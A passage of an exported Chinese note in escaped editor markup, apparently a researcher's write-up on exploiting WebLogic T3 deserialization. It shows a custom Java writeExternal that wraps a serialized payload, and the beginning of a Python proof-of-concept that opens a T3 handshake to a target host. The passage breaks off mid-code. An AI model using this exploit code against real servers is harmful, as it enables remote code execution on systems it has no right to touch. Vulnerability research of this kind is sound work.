break;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zdvp-1673852880393&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XOPH-1673852880392&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XF4E-1673852880395&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QGNd-1673852880394&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            case 2:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4s03-1673852880397&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cj87-1673852880396&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                this.payload = (PayloadStream)PayloadFactoryImpl.createPayload((InputStream)var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kZPn-1673852880399&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KgdG-1673852880398&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7PMw-1673852880401&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Dp6v-1673852880400&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gV9N-1673852880403&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GTPh-1673852880402&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nHlB-1673852880405&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mGYR-1673852880404&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        throw JMSUtilities.versionIOException(var3, 1, 3);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;K3IU-1673852880407&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ssOZ-1673852880406&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;iUrg-1673852880409&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3F0Y-1673852880408&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;C3Pj-1673852863478&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lJXu-1673852863476&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;java&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;etN2-1673852427732&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rsFE-1673852427730&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;参考项目代码：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6N7A-1673853031878&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;egiI-1673853031876&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;L40Y-1673853162645&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://github.com/zhzhdoai/Weblogic_Vuln&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bHt7-1673853162644&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://github.com/zhzhdoai/Weblogic_Vuln&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YNIP-1673853162646&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zZNu-1673853163816&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;n9JY-1673853163815&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;自实现一个writeExternal逻辑：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2IZl-1673853200645&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6DW4-1673853200599&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EWgV-1673853200598&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public void writeExternal(ObjectOutput var1) throws IOException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZbOs-1673853200601&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PRpa-1673853200600&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    super.writeExternal(var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;96bl-1673853200603&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zQRi-1673853200602&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    ByteArrayOutputStream var2 = new ByteArrayOutputStream();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;scSg-1673853200605&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rzOb-1673853200604&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    ObjectOutputStream var3 = new ObjectOutputStream(var2);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2s3w-1673853200607&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;G2fH-1673853200606&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;h1pq-1673853200609&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;G4qo-1673853200608&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1984-1673853200611&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZWAZ-1673853200610&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        var3.writeObject(\&#34;payload_here\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;67cP-1673853200613&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yarE-1673853200612&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        var3.flush();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;B0zY-1673853200615&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1IVQ-1673853200614&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } catch (IllegalAccessException e) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2ZGv-1673853200617&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0ryp-1673853200616&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        e.printStackTrace();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fr5M-1673853200619&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ea6y-1673853200618&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } catch (InvocationTargetException e) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xkCI-1673853200621&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vOrX-1673853200620&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        e.printStackTrace();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Oed7-1673853200623&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;iMhG-1673853200622&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } catch (InstantiationException e) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bLQE-1673853200625&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lXNX-1673853200624&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        e.printStackTrace();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Rwfb-1673853200627&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;paeR-1673853200626&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } catch (NoSuchMethodException e) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7O0f-1673853200630&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WtDq-1673853200628&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        e.printStackTrace();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NHvl-1673853200632&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;UqN6-1673853200631&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } catch (ClassNotFoundException e) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Y6hx-1673853200634&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1jAm-1673853200633&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        e.printStackTrace();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DLCP-1673853200636&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sour-1673853200635&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tFX6-1673853200638&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Q78G-1673853200637&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    byte[] var5 = var2.toByteArray();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BmOH-1673853200640&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;f9EL-1673853200639&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    var1.writeByte(1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KUYr-1673853200642&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PLat-1673853200641&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    var1.writeInt(var5.length);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;X6i0-1673853200644&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cWTi-1673853200643&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    var1.write(var5);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cBwA-1673853206095&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8yTQ-1673853206094&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;java&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TPXU-1673857206454&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5128/WEBRESOURCE9a155c70e68681db13913fdda5f25fa0&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZSSX-1673857211444&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5129/WEBRESOURCE54e0206892d95c807ed25d22df1d5a82&#34;,&#34;width&#34;:2316,&#34;height&#34;:1498},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JwxJ-1673853898579&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vOa0-1673853898580&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;为方便调试稍微改了一下weblogicScaner的poc&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jD5c-1673853898578&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;wrap&#34;:false,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;stxt-1673853898577&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0Y3W-1673853811210&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import binascii&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;iBfb-1673857235108&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KNP5-1673857235107&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import socket&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;up2D-1673857235110&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2dOf-1673857235109&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import struct&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2MYW-1673857235112&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sJvZ-1673857235111&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import subprocess&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;I7jU-1673857235114&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EQxc-1673857235113&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import time&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9TUz-1673857235116&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HCaQ-1673857235115&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;from multiprocessing.managers import SyncManager&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;h9Nt-1673857235118&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CJnK-1673857235117&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;from typing import Any, Dict, List, Mapping, Tuple, Union&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Uz8w-1673857235120&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;j2LK-1673857235119&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kRWo-1673857235122&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;AL36-1673857235121&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;from stars import target_type, Star&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5Dkh-1673857235124&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2X3i-1673857235123&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GLMX-1673857235138&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kS9G-1673857235137&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;def light_up( dip, dport, force_ssl=None, delay=1, timeout=5, *args, **kwargs) -&gt; (bool, dict):&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Qx1o-1673857235140&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yhZ0-1673857235139&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        # T3协议握手&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1rRN-1673857235144&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;I18i-1673857235143&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        dport = int(dport)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;r4Q7-1673857235146&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7H49-1673857235145&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Nvwm-1673857235148&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Q0Pi-1673857235147&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        sock.settimeout(timeout)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;j5rx-1673857235151&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Gfin-1673857235150&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LR6M-1673857235153&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YPsb-1673857235152&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            sock.connect((dip, dport))&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;va15-1673857235155&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EIyC-1673857235154&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        except socket.timeout:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;UvrC-1673857235157&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Tx1d-1673857235156&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return False, {&#39;msg&#39;: &#39;connection timeout.&#39;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FwUl-1673857235159&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9g6i-1673857235158&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        except ConnectionRefusedError:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6Amd-1673857235161&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jjGd-1673857235160&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return False, {&#39;msg&#39;: &#39;connection refuse.&#39;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nG7x-1673857235163&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;oTq1-1673857235162&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        sock.send(bytes.fromhex(&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sNRl-1673857235165&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;b98G-1673857235164&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            &#39;74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a&#39;))&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qzuv-1673857235167&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GKaE-1673857235166&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        time.sleep(delay)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kAYk-1673857235169&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;iWi4-1673857235168&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        sock.recv(1024)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QP8Z-1673857235171&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3Zyh-1673857235170&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vMQb-1673857235173&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2dmY-1673857235172&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        # 